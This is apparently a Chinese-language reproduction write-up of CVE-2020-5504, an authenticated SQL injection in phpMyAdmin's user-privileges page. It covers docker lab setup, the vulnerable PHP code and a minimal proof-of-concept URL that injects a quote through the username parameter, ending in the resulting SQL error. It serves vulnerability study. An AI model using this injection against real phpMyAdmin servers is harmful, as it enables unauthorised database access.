(CVE-2020-5504)Phpmyadmin 后台sql注入漏洞 =========================================== 一、漏洞简介 ------------ 在用户帐户页面中发现了一个SQL注入漏洞。创建对此页面的查询时,恶意用户可能会注入自定义SQL来代替其自己的用户名。攻击者必须具有有效的MySQL帐户才能访问服务器。 二、漏洞影响 ------------ Phpmyadmin \<= 5.00 Phpmyadmin \<= 4.94 三、复现过程 ------------ ### 环境搭建 docker一把梭 docker run --name mysql5.6 -e MYSQL_ROOT_PASSWORD=123456 -d mysql:5.6 \`docker run \--name myadmin -d \--link mysql5.7:db -p 8080:80 phpmyadmin/phpmyadmin:5.0 ### 溯源和构造poc 下载前一个版本 5.0.0的[代码压缩包](https://files.phpmyadmin.net/phpMyAdmin/5.0.0/phpMyAdmin-5.0.0-english.zip)后, 打开`libraries/classes/Server/Privileges.php` 来到对应行. if (isset($_GET['validate_username'])) { $sql_query = "SELECT * FROM `mysql`.`user` WHERE `User` = '" . $_GET['username'] . "';"; // 省略 节省篇幅 } 很显然可以看出注入点是`$_GET['username']`,而需要设置`$_GET['validate_username']` 往上看, 这段代码位于`public function getExtraDataForAjaxBehavior`函数. 搜索上层调用来到`/server_privileges.php` 的这段代码 if ($response->isAjax() && empty($_REQUEST['ajax_page_request']) && ! isset($_GET['export']) && (! isset($_POST['submit_mult']) || $_POST['submit_mult'] != 'export') && ((! isset($_GET['initial']) || $_GET['initial'] === null || $_GET['initial'] === '') || (isset($_POST['delete']) && $_POST['delete'] === __('Go'))) && ! isset($_GET['showall']) && ! isset($_GET['edit_user_group_dialog']) ) { $extra_data = $serverPrivileges->getExtraDataForAjaxBehavior( (isset($password) ? $password : ''), (isset($sql_query) ? $sql_query : ''), (isset($hostname) ? $hostname : ''), (isset($username) ? $username : '') ); if (! empty($message) && $message instanceof Message) { $response->setRequestStatus($message->isSuccess()); $response->addJSON('message', $message); $response->addJSON($extra_data); exit; } } 可以发现if里大部分条件都可控, 除了`$response->isAjax()` public function isAjax(): bool { return $this->_isAjax; } 查看构造函数 /** * Creates a new class instance */ private function __construct() { if (! defined('TESTSUITE')) { $buffer = OutputBuffering::getInstance(); $buffer->start(); register_shutdown_function([$this, 'response']); } $this->_header = new Header(); $this->_HTML = ''; $this->_JSON = []; $this->_footer = new Footer(); $this->_isSuccess = true; $this->_isDisabled = false; $this->setAjax(! empty($_REQUEST['ajax_request'])); $this->_CWD = getcwd(); } 可以看到这条件在于`$_REQUEST['ajax_request']`是否为空. 根据上面的几个条件 我们可以构造出如下最简单的poc http://127.0.0.1:8080/server_privileges.php?ajax_request=true&validate_username=true&username=test%27%22 登陆后(这个操作需要权限) 尝试访问上面的url.返回如下 {"success":false,"error":"
Static analysis:<\/strong><\/p> 1 errors were found during analysis.<\/p> SQL query:<\/strong> Copy<\/a>\n \nSELECT * FROM `mysql`.`user` WHERE `User` = 'test'"';\n<\/p>\n<\/a>
Edit<\/span><\/a> <\/p>\n